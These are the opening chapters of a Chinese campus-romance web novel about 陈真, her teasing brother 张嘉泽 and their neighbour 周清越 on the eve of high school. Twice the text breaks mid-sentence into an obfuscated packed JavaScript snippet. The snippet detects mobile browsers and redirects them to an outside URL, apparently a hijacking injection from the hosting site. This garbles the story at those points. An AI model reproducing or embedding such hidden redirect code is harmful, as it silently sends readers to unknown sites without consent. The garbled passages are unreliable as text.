《一闪一闪亮晶晶[校园]》 1. 一颗星星 盛夏的午后,刺目的阳光洒落在大地上,光线穿过重重叠叠的树荫,落下点点光斑,几只麻雀呆呆地立在电线杆上,左顾右盼。 不知从哪吹来一阵燥热的夏风,窗外的棕榈树被吹得枝叶微微摇晃,沙沙作响,那一阵风穿过郁郁葱葱的枝叶,吹进纱窗,窗帘被吹得鼓起。 阳光乍泄进入房间。 陈真坐在床上,身上披着一床夏凉被,像一个裹起来的粽子,她背对着窗户,对钻进来的阳光毫无察觉。 她聚精会神看着恐怖片。那部恐怖片的氛围拉得很满,昏暗的画面,晃动的镜头,诡异的氛围。 她下意识地屏住呼吸,把脑袋埋进怀里的被子,只敢漏出眼睛。 背景音乐的音调忽地一转,变得紧张,心跳加速,砰砰地跳,手无意识捏紧。 紧接着,恐怖的背景音戛然而止,画面不再移动,而是对准一个地方停止。 心跟着悬了起来。 房间一片静默,只能听见挂钟嘀嗒、嘀嗒的声音。 嘀嗒—— 嘀嗒—— 嘀嗒—— 突然。 “哇——” 一团黑雾冲到屏幕前。 同时传来一声抑扬顿挫的鬼叫。 谁家鬼这么叫唤啊,被吓得心跳都停滞了一瞬,她下意识大叫出来:“——啊啊啊啊啊啊!” 下一秒,啪哒——灯忽然被打开,昏暗的房间瞬间明亮了起来。 心还在怦怦跳个不停,陈真转头望向房门,门口站在一个身影,男人抱胸站着,嘴角扯着一抹坏笑,眼底都是幸灾乐祸,还不忘嘲讽她:“吓到你了?” 这贱兮兮的样子,她就知道! “张嘉泽!!” 她拿起旁边的枕头狠狠砸过去。 原来是这家伙叫出来吓唬人的,她就说那鬼叫的声音怎么那么真实,如同在耳边。吓了她一跳,简直可恶至极! 张嘉泽微微侧身,抬起手,接住了她扔过来的玩偶,欠欠地说,“砸这么用力,想谋害你哥啊?” 陈真把被子放下来:“怎么没把你砸出地球。” “嘶,”张嘉泽捂住胸口,一副悲痛欲绝的表情,“大夏天的,你说这话真是令哥哥感到心寒。” 陈真下床,走到张嘉泽旁边,想要拿回枕头,直接骂道:“寒你个头。” 张嘉泽仗着自己比她高,高高举着,就是不给她:“骂谁呢?” 抬头看了看高度,知道拿不到,陈真深吸一口气,她向来能屈能伸,于是语气放软下来:“我没骂哥哥。” 张嘉泽的手落下来了一些:“这才对嘛。” 抓住时机,她一把扯过张嘉泽手里的枕头,然后转过身淡淡补充道:“我骂的是狗。” 张嘉泽:“……” 陈真坐在书桌前的椅子上,头搭在兔子玩偶上:“你刚刚吓到我了,给我道歉。” “道歉?”张嘉泽好像听到了什么天大的笑话,靠在窗边双手抱胸,嘲弄道,“我还没找你算账,你可别得了便宜还卖乖,还有大白天的你怕什么?是不是做了什么亏心事啊?” 他转过身,抬起手一把扯开窗帘,顷刻间,午后炙热而明媚的阳光便轰轰烈烈倾洒进来,落满整个房间。 盛夏的阳光热烈得肆无忌惮,忽然晃荡入眼帘,刺目无比,陈真赶紧用手挡在眼睛前,缓过来之后直视着张嘉泽:“我身正不怕影子斜,行的正坐的直,做什么亏心事了!” “没做亏心事?”张嘉泽从口袋里拿出一张纸,拍在陈真面前,“那你说说这是什么?” 陈真瞥了一眼张嘉泽,接着视线转移到那张纸上,准确来说是一幅画。 这张画看起来有些年头了,皱皱巴巴的,上面还有题目,题目写着:围绕寓言故事《农夫与蛇》的主题,创作一副作品。想起来了,这是初二那年的美术作业,后来老师没有收上去,中考完了之后她就带回家了,也不知道张嘉泽在哪里找到的。 最要紧的是那副画的内容,她画了一个美少女和一条狗,美少女旁边写着了“陈真”,哈士奇旁边写着“张嘉泽”。 画的是美少女使出旋风无影腿一脚踹飞哈士奇。 标题名——《陈真与狗》。 陈真:“……” 张嘉泽大爷似的站在旁边:“解释。” 陈真自知理亏,默默把纸折起来,抬头示弱道:“哥哥。” 张嘉泽弯腰,一只手压住那张纸,微笑着说:“叫哥没用,解释。” “你知道的,”她看着他,颇为真诚地说,“世界上叫张嘉泽的人很多。” “是吗?”张嘉泽弯下腰,捏住她的脸,笑里藏刀:“只是能被你称作狗的,恐怕只有我一个。” 陈真头往后仰,挣脱他的魔爪,眼睛滴溜溜转一圈,随便扯了个理由,理直气壮地胡说八道:“谁让你学鬼叫吓我!” 张嘉泽低头看向陈真,像是佩服她的瞎扯淡能力,气笑道:“我俩说的是一个事情吗?况且我不鬼叫,电影里也会鬼叫,你可真是不识好歹啊。” “我宁愿听电影里鬼叫。” “什么?” 陈真抱着兔子玩偶,坐在书桌前撇撇嘴,小声嘟囔:“你声音比鬼叫还难听。” 张嘉泽声音陡然放大:“你说什么?!” 陈真假装听不见:“……” “小屁孩,你再说一遍?” “不许这样叫我,”原本打算沉默的陈真像只被踩着尾巴的猫,据理力争,“我明天就上高中了!” “哪又怎样?在我这个准大学生眼里,你就是个小屁孩。” 陈真气得直吸气,指着他:“那在我这个准高中生眼里,你,就是个老、东、西!” “……好啊?造反是吧?你这个小屁孩。” “你这个老东西!” “小屁孩!” “老东西!” 嘴上唇枪舌战,手上也不打算闲着,两人都已经各自开始找东西,准备上手了。 大战一触即发之时,门口传来钥匙开门的声音。 像是找到救星,陈真一下跳起来,丢下手里的东西,利落蹦下床飞快朝门口跑去,一脸幸灾乐祸:“你完了!” 张嘉泽气势一下弱了下去,追上去撵人,嘴上还是不服软:“小屁孩!一天到晚就会告状!” 赵忠刚下班,去小区的菜市场买完菜,刚回家关上门,气还没喘两口,就被陈真堵住告状: “爸!哥哥说我是老屁孩!” 追过来的张嘉泽也不甘示弱,急忙解释:“你还叫我小东西呢!” 赵忠手上提着的菜还没放下,眉头皱起。 ……这俩家伙又在发什么疯? ** 饭桌上,刚刚被赵忠教训了一顿的张嘉泽一脸不服气地吃着碗里的饭,每吃一口都要狠狠看陈真一眼。 陈真被他盯得难受,忍不住开口:“爸,哥怎么还不开学啊?” 看见他就烦。 终于等到发泄口,张嘉泽不屑地说:“我可是大学生,你个初中生懂个屁。” 陈真再一次重申:“我说了我明天就是高中生了。” “哦,”张嘉泽目的达到,悠悠然吃口饭,不屑道,“小屁孩就是幼稚。” “你!” “张嘉泽!再这样叫妹妹看我怎么收拾你!”赵忠立马主持公道,严厉批评了一顿张嘉泽。 张嘉泽越想越气,明明是陈真这小家伙先惹他的:“爸,这小家伙还叫我老东西呢,你管不管?你就偏心呗。” 陈真和张嘉泽可谓老虎遇蛟龙,犯冲。两人都是不服软的,从小吵到大,前世的仇人,今世的冤家,谁也不服谁,三天一大吵,两天一小闹都是家常便饭。两人吵架时,爸爸帮陈真,妈妈护张嘉泽,因此两人几乎次次打平手,谁都占不到上风。 只不过这次妈妈要在学校给学生做晚自习辅导,还没回家,自然没人给张嘉泽撑腰,在这次吵架中落了下风。 “我还不知道你,哪次不是你先去招惹妹妹?赵忠放下筷子,像个公正的法官,一锤定音判张嘉泽有罪。 这话一出,陈真反而有些心虚,今天这事,好像确实应该算她头上,毕竟她画的那幅画是罪魁祸首。 正想着怎么解释。 赵忠对着张嘉泽又补充了一句:“一天天的吊儿郎当欺负妹妹,你啊,最好快点 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越想越头疼,因为隔壁的周清越,是个比张嘉泽更混球更难缠的存在。 他和陈真同岁,两人上的初中也是同一个,但他和张嘉泽混在一起玩的时间多得多,他们俩合起伙来耍陈真也不止一次两次,对比起来,陈真和他的关系真算不上多好,甚至有点水火不容,毕竟周清越算是张嘉泽那边的。 而且周清越是真正意义上的“邻居家的孩子”,陈真跟妈妈第一次见他的时候,他就坐在楼底下那棵棕榈树下练大提琴,一眼就惊艳了陈玉亭很多年,后来不知道跟陈真念叨了多少次。每念叨一次陈真就要在心里骂周清越一次,这人可真能装,谁家小孩大夏天跑楼底下拉琴啊。 偏偏这家伙还真的很厉害,又会拉琴脑子又聪明,最重要的是,还比她勤奋,每次寒暑假她想悠闲自在地躺平,爸妈就会说周清越又参加了什么比赛获得了什么奖。简直无处不在,如影相随,像个阴影一样,逃都逃不开,盖住了她的那些本来拿得出手的小骄傲。 她理所应当地讨厌周清越。 即使身边总有朋友跟她说,周清越像光芒万丈的太阳,闪闪发光,令人仰望,但她也只觉得,他只是惨淡无趣的白炽灯罢了。 有点光芒,但很烦人。 到了周清越家门口,径直敲响房门。 咚咚咚—— 咚咚—— 过了好一会儿,门还是没开。 她低着头想着待会要怎么把张嘉泽拎回去时,咔哒—— 门开了。 开门的人像是刚刚洗完澡,头发湿哒哒的,身上的白T像是赶时间随意套上的,还有些松垮凌乱,他擦着头发看着她,额角滑落一滴水,流到精致的眉骨处,将落未落。 陈真望着那滴水,脑子忽然宕机,莫名被勾起了注意力,静静看着那颗未落的水滴。 啪嗒,水滴轻轻落下,落在少年翘且密的睫毛上。 心底里也好像坠入了一滴水,泛起微不可闻的涟漪。 沉默在两人之间蔓延,楼道的风打了个转儿。 陈真突然想起自己来的目的,平静地说:“我找张嘉泽。” 刚刚想要冲进去把张嘉泽揪出来的气势莫明消散了一半下去,语气都轻了不少。 周清越还是擦着头发望着她,不说话。 陈真站在门口,进退两难,又问道:“他在这里对吧?” 这哥还是没说话,陈真也不知道他什么意思,他不说让她进,也没说不让进,就那么懒懒地站在她面前,自顾自擦着头发。 陈真有些不耐烦:“周清越。” “嗯?”他眼神落在她身上,挺轻的,但陈真却觉得比千万斤阳光压在她身上还重。 这家伙肯定又在憋什么坏招,陈真心想。 果不其然,过了一会儿周清越终于擦好头发,他放下毛巾,好整以暇地看着她,然后平底起惊雷般吐出一句: “你好,我们认识?” 2. 两颗星星 空气有一瞬间停滞,脚边的风都停了。 周清越是个实打实的脸盲没错,但是,如果没记错的话,这是他们认识的第九年了吧?夜晚树上的蝉声叫个不停,从楼道的窗户口传到耳边。 “干嘛看着我。”周清越问。 “想揍你。”陈真说。 世界上最远的距离,就是周清越在她眼前,她却不能揍他。 风从楼道口吹进来,把门吹得不断往后推,也多亏了这一阵风,露出了里面大半个客厅。陈真侧头望去。 张嘉泽果然在里面,他躺在客厅沙发上,一边看电视,一边吃薯片,侧着脑袋一副吊儿郎当的样子。 两人视线交汇时,张嘉泽掏薯片的手一顿,然后眼角慢慢显出笑意,冲她做鬼脸,一脸的挑衅。 士可杀不可辱,陈真抬起脚就要冲进去。 周清越手一伸,拦在她面前。 “你起开。”陈真说。 周清越不动。 “你让不让我进去?” 这是她生气的前兆。 结果面前的人属实是个无赖,他笑道:“妈妈说过,不要让陌生人进门。” “……” 周清越侧头,和里面的张嘉泽交换视线,然后陈真看见两人互相默契点点头。他们两个从小就会打配合,一个眼神就懂对方的意思。 陈真顿时明白了,这两人果然是商量好的。比如刚刚周清越装脸盲症犯了不认识她,还有拦着不让她进去什么的,都是用来耍她的招数。 这两个老混球和小混球! “还有事吗?”周清越靠在门边问,状似不经意地挡住了陈真看向里面的视线。 不得已收回视线,陈真看向他:“蛇鼠一窝。” 周清越眯起眼思考了会儿,笑起来,颇为赞同似的点点头:“没事的话,我就关门了。” “沆瀣一气。” 他懒懒地打了个哈欠:“如果迷路了记得打110。” 陈真压低声音咬牙切齿道:“狼狈为奸。” “拜拜。” 咔哒——门关了。 但门外陈真的声音还是传穿透了进去:“狐朋狗友!” 周清越走进去,把毛巾丢到张嘉泽身上。 躺着沙发上吃薯片的张嘉泽看着周清越,一脸好笑道:“她说我们狐朋狗友诶。” 周清越坐在他旁边,从他手里抢了一片薯片扔进嘴里,漫不经心道:“因为你是狗啊。” - 气呼呼回到房间,陈真坐在书桌前生闷气。 可恶的张嘉泽,还有更可恶的周清越。 从小到大,周清越总是这样帮着张嘉泽,他俩就是一丘之貉,正在气头上,她忽然看到桌子上的那幅《陈真与狗》。 沉默了一阵,脑子里忽然想出一个点子,她拿出笔在拿着纸上画了起来。 过了一会儿她放下笔,看着自己的“杰作”,心里的闷气都消散不少。 那副画上多了一只狗,旁边标黑标粗写着三个大字——周清越。 陈真把画举起来,仔仔细细欣赏了一遍,越看越喜欢,心情也跟着好了不少。 只是门口突然响起敲门声。 “陈真!”是妈妈的声音。 她赶紧手忙脚乱把画折起来,随手夹在一本书里,然后起身去开门。 打开门,她露出一个脑袋,笑容盛开,带着少女的明媚,只是声音有点心虚的意味:“妈妈……” 陈玉亭也没有要进房间的意思,因为陈真明天就正式开学上高中了,她和赵忠都忙来忙去的,帮着她准备吃穿用度的行李。 陈玉亭手里还拿着陈真的衣服,看起来还要赶着去收拾,所以只是简单问她:“怎么一回家就进房间了,你哥呢?” “他……”陈真抓了抓脑袋,思索着怎么解释。 直接说张嘉泽打死也不肯回来? 不行不行,妈妈肯定不信,还会生气。 要不说张嘉泽已经睡死过去了? 也不行,张嘉泽那个夜猫子不会睡这么早。 陈玉亭眼神的越来越紧,犹如小行星飞速旋转着越来越靠近地球,眼看着就要撞下去。 陈真灵光一现,赶忙说道:“我去找他了,哥哥也想回家,但是……” “但是什么?” 犹豫了一秒钟,陈真脱口而出:“但是周清越打死不让他走。” 嗯,就这么说,让周清越背锅,一点也不无辜。 陈玉亭眼里闪过一丝怀疑:“……真的假的?” “嗯,”陈真小鸡啄米似的点头,脸不红心不跳地接着说,“他说他舍不得哥哥,没哥哥不行。” 顿了顿,陈真接着扯:“他还说,山无棱,天地合,才敢与君绝。” …… 陈玉亭放下手上的衣服,看着陈真,无语道:“你觉得我会信吗?” 她接着说:“还记不记得我说过什么?” 陈真脑袋耷拉下去,不情不愿复述道:“不把哥哥带回来,我也别回来了。” “那还不去。” “哦……” 在一旁检查行李物件的赵忠接道:“别管你哥,他从小野惯了,你好好休息,明天一早还要去学校。” “你别惯她,”陈玉亭皱眉看向赵忠,然后叫住陈真,认真说道,“哥哥要是自愿想去清越家住的话,那没事,但是今天是被你气过去的,你就要道歉、说清楚,然后把哥哥请回来知道吗?” “知道了……” 陈真穿着拖鞋从房间里走出来,准备再去一次周清越家,把张嘉泽这尊大佛请回来。 赵忠再一次拦住她:“别去了真真,这么晚了,人家清越估计也休息了。” “可是……”陈真皱着眉,一脸为难地看着妈妈。 陈玉亭叹了口气,想了想,确实也是这个道理,于是口风松下来:“那这样吧,你给你哥打个电话道个歉,好不好?” 陈真顿时愁云散去:“好!” 陈玉亭颇为无奈又宠溺地笑了笑:“那去吧。” 陈真跑回房间,躺回自己的大床,然后从床头柜抽屉里拿出手机。 点开备注名为“公主的仆人”的微信,然后拨打语音电话。 铃声响起,是特别聒噪的语音包。 【在接了在接了,不要着急啵,我很忙的啵,打我电话要排队的啵……】 陈真趴在床上,嫌弃地把手机拿远了一些。 过了好一会儿。 嘟——接通了。 陈真连忙把音量调到最小,然后用被子捂住。她刚刚上门求他回来吃了个闭门羹,现在又主动给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562516|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他打电话,简直不敢想张嘉泽会得意成什么样。 那么久不接,一定是在沾沾自喜、幸灾乐祸,顺便跟周清越调侃两句。说不定还酝酿了很久,接通电话第一句怎么嘲讽她让她破防,她才不上当,直接不听,让他得逞不了。 但是道歉还是要说的,答应妈妈的事情要做到。 陈真深吸了一口气,酝酿了一会儿情绪。 “哥……”刚发出一个音节,就说不下去了。 环视一圈房间,陈真觉得房间里的所有东西,玩偶、水杯、杂志、漫画书……全都看着她,准备嘲笑她向张嘉泽屈服。 想了想,她转过身,把自己整个人盖进被子里,狭窄而昏暗的空间,让她感觉安全许多。黑暗的视线中,手机屏幕亮着,陈真把手机拿过来,放到耳边。 沉默了一会儿,调整好情绪,陈真对着手机小声说了一句: “哥哥。” 对面一点声音都没有,于是陈真试探着说出下一句。 “对不起。” …… 手机对面没有一点声音,特别安静。 陈真看了一下,没挂电话啊。一般这个情况,张嘉泽已经开始狂笑了吧,不可能这么安静,难道是没听到? 陈真调大音量,然后把手机凑到嘴边,又说了一句:“喂,在吗?” 还是没有回应。 但隐约有一声闷笑。 手机传来一些细微的声响,比如走路的声音,开门又关门的声音,然后是很清晰的淋浴声。 “喂?”陈真趴在被子里,提高音量问,“哥哥你听见没?” “喂?” 电话里终于传出一个声音,隐约带笑:“哥哥听见了。” 背景太嘈杂,可是那个声音很熟悉,不像张嘉泽的,倒像另一个人的。 陈真暗叫不好,不会吧,不会刚好被那家伙听见吧? 咚咚—— 电话里又传出敲门声 “干嘛?”一道闷闷的声音,像是隔了一层玻璃,还混杂着水声,很模糊。 吱呀一声,扭门响。 “不是让你帮我接?”这次的声音清晰明确,是张嘉泽。 陈真的心顿了一下,张嘉泽在洗澡。 那刚刚接电话的人。 只能是…… 周清越。 所以刚刚,她说那句哥哥对不起—— 是他在听。 回答她的人也是他。 天哪,这简直就是,晴天霹雳。 陈真把枕头、被子全蒙在脑袋上:“啊——” 周清越算哪门子的哥,他凭什么占她便宜啊,莫名觉得很不爽,不知道为什么,她可以接受张嘉泽听到,但她不能接受是周清越听到,怎么可以让他听到! 这种莫名其妙的情绪,她自己也不明白,说不清道不明,被自己讨厌的人听见自己示弱,就是觉得丢人。 手机那头张嘉泽完全不知道没搞懂情况,还在说个不停:“陈真,打电话过来道歉啊?我勉为其难考虑考虑吧,晚点给你答复……” 听着那头张嘉泽自得又略带调侃的声音,陈真心底忽地涌上来一阵烦闷。青春期的情绪总是来的突然又凶猛,像一场狂风巨浪,将堤坝轻易冲毁。 她就是觉得很不舒服,直接挂断了电话。 3. 三颗星星 陈真在被子里看漫画,但根本看不下去,因为她在思考自己为什么会因为那么小的事情生气,这明明没什么大不了的。 此时有人敲门。 张嘉泽的声音从门外传来:“陈真,你睡了没?” 陈真换了一个方向,侧睡着,背对着门口,不想回应他,她还想接着思考刚刚的问题。 张嘉泽放低了一点声音:“我可以进来吗?” 她回道:“不可以。” “妈妈叫我来的。” 她垂了垂眸,沉默了一会儿才说:“进。” 门被扭开,张嘉泽走进去,他人高大,又刚刚洗完澡,走进来时带来一阵风,夹着周清越家沐浴露的香味。 陈真敛眉,不说话。 看到她背对着他,张嘉泽知道她还在生气,于是没开灯,也没靠近她,只是拉开书桌前的椅子坐下来。 两人背对背,互相看不到对方,总不会生气了吧。 房间里一片沉默,仿佛只有空气流动。 张嘉泽坐在书桌前思考半天,时而咬咬嘴唇,时而抓抓头发,最后实在想不出来该怎么办,干脆打开手机百度,输入问题:妹妹生气了怎么办? 翻了半天,他才看到一条比较靠谱的回答: 【妹妹生气怎么办?凉拌!还能怎么办,当然是哄啊!小编整理了几条哄妹妹的小妙招,快来看看吧!】 【第一,给妹妹买好吃的,吃到好吃的心情才会好起来。】 张嘉泽觉得很有道理,立马现学现用:“哎,陈真你想不想吃莎布蕾,你上次买回来不是说不够吃吗? 你猜怎么着,其实我藏了两盒在我那,你想吃我现在给你拿过来。我很大方的。” …… 陈真闭着的眼睛缓缓睁开,她说她的曲奇怎么吃得这么快,原来被这家伙中饱私囊了! 强忍着将张嘉泽暴揍一顿的想法,她吸气又呼气好几次,才勉强平复了心情。 见陈真不说话,张嘉泽觉得第一招看来不管用,于是摇摇头往下看下一招: 【第二,陪妹妹玩游戏,玩到好玩的游戏妹妹心情才会好起来。】 好主意!这个肯定管用。 于是自信开口:“喂陈真!打不打游戏?哥直接把你带飞!” 陈真无语地闭上眼睛。 上次张嘉泽拉着她打游戏,战绩为十一连跪,好几局张嘉泽都引发众怒,队友连番开麦只为和他“友好交流”,张嘉泽也是个硬骨头,丝毫不怂,激情开麦一顿舌战群雄。只不过最后寡不敌众,他只能默默把麦都关了。 “……” 恐怕不是带飞,是被骂飞,能不能无缘无故来个人把他带走,立刻马上。 “还不说话?不应该啊。”张嘉泽一边小声嘟囔,一边看下一条。 【第三,给妹妹讲故事,听到有趣的故事心情才会好起来。】 讲故事?应该是睡前故事那种吧,张嘉泽认真地回忆了一会儿,他从小到大只听过一个睡前故事,而且已经是很久之前的事了,他甚至不想去回忆,那段记忆对他来说很宝贵,可是他不想触碰。 可是转头看了看还蒙在被子里的陈真,他想了想,就讲那个吧。 他清了清嗓子:“咳咳!你有福了陈真,本帅哥今天亲自给你讲故事。” 张嘉泽敛了敛眼睫,按照模糊的记忆讲起来:“从前有座山,山里有座庙,庙里有个老和尚讲故事,讲的是什么呢?” 他顿了顿,接着说:“讲的是,从前有座山,山里有座庙,庙里有个老和尚讲故事,讲的是什么呢?讲的是啊从前有座山,山里有座庙……” 陈真侧睡在床上,心里想着这个故事真是无聊。 然而,讲着讲着,一向停不下嘴的张嘉泽反常地沉默了很久,房间再一次陷入寂静。 这种反常让陈真感到疑惑,她掀开被子起身,看向张嘉泽的方向。 他坐在书桌前,手机在一旁亮着,但他没有看手机,没有转笔,也没有偷偷走过来吓她。他什么都没做,就那么安静地坐着,安静得都不像张嘉泽了。 陈真轻轻开口:“……老东西?” 原本一动不动的张嘉泽在她声音响起的时候才动了一下,就像绷紧的弓忽然松动:“嗯?” “你在发呆,还是你被自己催眠了?”陈真问,因为张嘉泽真的是那种会讲着讲着把自己讲睡着的人。 “拜托,我怎么可能被催眠。”张嘉泽忽然开口,声音有一点点沙哑,陈真觉得他的声音有点不一样,但又说不出哪里不同。 “哦。”她应了一声,没说话了。 因为,她好像突然想到张嘉泽为什么会突然情绪不对了。 肯定是因为刚刚讲的那个故事,如果她没猜错,那个故事应该是张嘉泽小时候听他妈妈讲的。 可是他妈妈已经离开他很久了。 张嘉泽仍旧背对着她,没有开灯的房间漆黑一片,即使看不见,可是他的难过,她感受到了。 我很了解你,张嘉泽,你一定是因为这个难过。 陈真趴在床上撑起下巴,打开手机手电筒,光线让她看清了张嘉泽的背影,她很认真地看着他说:“我们以前不是说好了吗,我的妈妈就是你妈妈。” “你不要难过。” “谁说我难过了……”张嘉泽反驳,可是他的声音隐约带着点哽咽。 陈真没有听他逞强,认真地说:“因为你难过的话,我也会难过。” 长久的沉默,他没有再说话。 过了许久,张嘉泽突然转身叫她,“小屁孩,今天的事你还生气啊。” 陈真想了想,实话实说:“有点,但是我也不明白为什么要生气,明明是很不值一提的事情。” “我像你这么大的时候也这样,也总因为一些小得不能再小的事情生气、难过、不解。” “我不懂,难道长大就不会这样了吗?”陈真问。 张嘉泽靠着椅背,思考了一会儿:“不管长不长大,我们都需要直面自己的情绪,不要抗拒它也不要逃避它,它来了就来了呗,学着和情绪和平共处。” “那我一有不好的情绪就把它发泄出去,算和平共处吗?” “我觉得……算吧。” “那我想打周清越。”陈真冷静地说。 张嘉泽笑了:“那可不行,我得罩着他。” 于是他又开始和陈真讲条件:“我把我藏起来的那两盒曲奇还给你,你不许生气了,可以吧?” “……” “听见没小屁孩?” 陈真无语道:“听见了,老东西。” “那你早点睡。”张嘉泽说。 “哦。”陈张躺回床上。 关门前他又补了一句:“对了,明天开学你和周清越一起走,我就不送你了啊。” “知道了。”陈真把自己埋进被子里。 - 夜间下了一场淅淅沥沥的小雨,把整个城市冲刷清洗了一遍,这一晚听雨入眠,睡得格外舒服。 清晨,棕榈树上还有点点露水挂在枝头,雨后的空气夹着水汽,泥土与花草的气味沁在里面,凉凉的,润润的,很清爽,没有夏天的黏腻感。 爸妈要上班,本来今天开学应该是张嘉泽送她去的,但他表示早上起不来,于是把陈真丢给周清越,让她和周清越一起走。毕竟这两人年龄一样,考上的高中也一样,一起去学校很正常,还省了他的事。 当阳光照到陈真脸上的时候,她还没意识到事情的严重性。 她迷迷糊糊的坐起来,愣了两三秒,突然发现——起晚了。 可能是因为昨晚的事情导致晚上睡得很沉,今天早上闹钟都没把她叫醒。 陈真猛地掀开被子,套上拖鞋,赶紧地小跑去洗漱,刷牙刷到一半,还是不放心,她又一边刷牙,一边跑去客厅门边,凑近猫眼,看了一眼走廊。 周清越还没出来。 松了一口气,但还是要抓紧时间。 她飞快地洗漱完,然后手忙脚乱地穿上校服和鞋子,与平时比简直像是调了二倍速。 最后快速背上包,拖上行李箱,头也没回地开门,一开门,却发现周清越已经在楼道口等着她了。 他侧对着她,坐在黑色行李箱上,长腿随意伸着,眼眸低垂,百无聊赖地朝墙壁扔弹力球。 他拿着手机,侧脸轮廓放在耳边,应该是在打电话,声音有点哑,带着刚睡醒的倦意,对电话那头的人说:“不用,我自己可以去。” 弹力球弹到墙壁上,然后又稳稳弹回他手里。 南川高中的校服是普普通通的蓝白色,透着一股和学校一样的规矩板正,但穿在周清越身上却像换了个味道,像是夏天的柠檬汽水,冰块与冰块碰撞,多了点清爽和冷感。 阳光从楼道的窗户折射进来,留下一道弧度平直尖锐的光线,那条光线落在周清越的鞋边,又一直向前延伸到楼道的墙上。 开门的声音让周清越侧过头,他的视线落在陈真身上,眼神清清淡淡,不带什么意味。 陈真下意识转开了目光,望向一旁的墙壁。 周清越也收回视线,只是扔弹力球的位置微妙地朝她的位置靠近了些。 陈真往后退了半步,她怕这球砸到她,不过弹力球还是精准弹回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562517|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周清越手里。 周清越弓着背坐在行李箱上,对着电话那头不耐烦地应付着:“嗯嗯嗯,你忙嘛,我知道了。” 陈真听见他的声音,还是不咸不淡的语气,听不出情绪。 看起来最无所谓的人,往往是最在意的。 陈真抿了抿唇,觉得他在打电话,她站在这里听不太好,于是开始一脸认真地看起了墙上的小广告。 因为是比较老的居民楼,墙壁上大多有很多五颜六色的小广告,有些是贴上去的,一般都会被马上撕掉,但也免不了留下些纸印子,或大或小,或深或浅,还有一些是直接盖章印上去的,大的小的、红的蓝的全都有,显得墙壁斑驳脏乱。 陈真随便扫了一眼——专治不孕不育,欢迎来电133xxxxxxxx。 她忽然对这些平时天天见,但没注意过的东西来了兴趣,她稍稍仰起头,往上看了看,入眼的是五花八门各式各样的小广告。 ——精装现房急出,欢迎致电,136xxxxxxxx ——下水道疏通,不专业不要钱 ——专业维修空调、热水器 …… “知道,不劳烦您大驾光临。挂了。” 周清越的声音传来,他随手把弹力球扔回门口的置物盒里,朝陈真那走去。 楼道的阳光从他身后照射而来,他站在她旁边,顺着她的视线看着墙上的广告:“看上哪个了?” “确实看上了一个,”陈真眼神扫过那些重重叠叠的小广告,随手扯下那张粉色的,灿然一笑,“帮你看的。” 她把那张粉色小广告拍到周清越手里,然后头也不回地潇洒往前走了。 周清越拿起那张小广告,映入眼帘的是几个黑体大字——专治不孕不育…… 他静静看着那张纸,忽然笑出了声。 刚刚烦闷的心情似乎也好了一些。 - 陈真很想要跟上周清越的脚步,但无奈箱子有些重,一手提着箱子,背上还背着背包,实在走不快。 周清越走到转角处,回头望见陈真皱着眉头,吃力地提着箱子,他放下箱子,就准备立马上楼帮陈真把行李箱拿下来。 可是陈真直接拒绝:“我自己来。” 周清越已经踏上了一阶楼梯,听到陈真的话之后,没再往前走,只是说:“看着很重。” 陈真理所当然地回道:“你又不可能永远帮我提箱子,我总要自己去克服的。” 周清越沉默了一会儿,看着她说:“行,那我等你。” 于是他站在第一级楼梯,微昂起下颌,看着她一步一步,很慢,但很稳地走过来。他身后是楼道的窗户,窗外繁枝满绿,阳光直直照射进来。 陈真被阳光刺得微微眯起眼。她望向周清越,他整个人拢在光里,模糊刺眼。 十几级阶梯,一步一步走下去,每走一步,他就更清晰一点,直至走到他面前,他最终完整清晰呈现在她眼前。 或许是阳光温柔,陈真觉得他今天顺眼了一些。 “看我干嘛?”周清越提起他的行李箱,看了陈真一眼,说,“还有三层楼要走,快点的。” 陈真:“……” 错觉。果然是错觉,他怎么可能会顺眼! 以前不会,现在不会。 以后也不会! 带着不满,陈真悄悄在背后隔着空气,对着周清越的背影踹了一脚。 虽然踹的是空气,但心里舒坦多了。 - 周清越和司机师傅把两个行李箱放进车的后备箱,陈真站在一旁,感觉好像也不需要她帮忙,于是先上车坐着。 因为是出租车,车里闷着一团气,不难闻但也不好闻,夹着燥热的气息。坐了一会儿,实在觉得难受,陈真按下窗户。 车窗缓缓降下,陈真忽然和窗外的周清越四目相对。 他不知道陈真坐在这边,所以刚握上车门把手,准备开门。 两人都愣了一瞬,陈真下意识移开视线,周清越也松开把手,从车尾绕去另一边车门。 几秒钟之后,周清越打开车门,坐了进去,顺便带进来一阵香气,清淡到若有若无,但又像萦绕在鼻息边,一时之间,陈真觉得整个人都舒服多了。 陈真忽地开始愣神。 一旁的手机一直在震动都没发现,还是周清越先注意到。 “陈真。”周清越注意到震动的手机。 陈真回过神:“嗯?” “发什么呆,你手机响了。” “噢。”她拿起手机。 看了一眼来电显示,来电人:公主的仆人。 4. 四颗星星 刚想挂掉,想了想,还是接了。 “喂,陈真。”对面的声音懒散低沉,应该刚睡醒,嗓音有点哑。 陈真的嫌弃已经不加掩饰:“干什么?” “今天到你带饭了,早餐不用给我带,带午饭就行,要那个袁记的云吞,少醋不要葱。” “……” “听见没?” “张嘉泽!”陈真突然大喊一声。 “我靠!陈真你干嘛?练河东狮吼啊!吓死我了。”他的手机都被吓抖了抖。 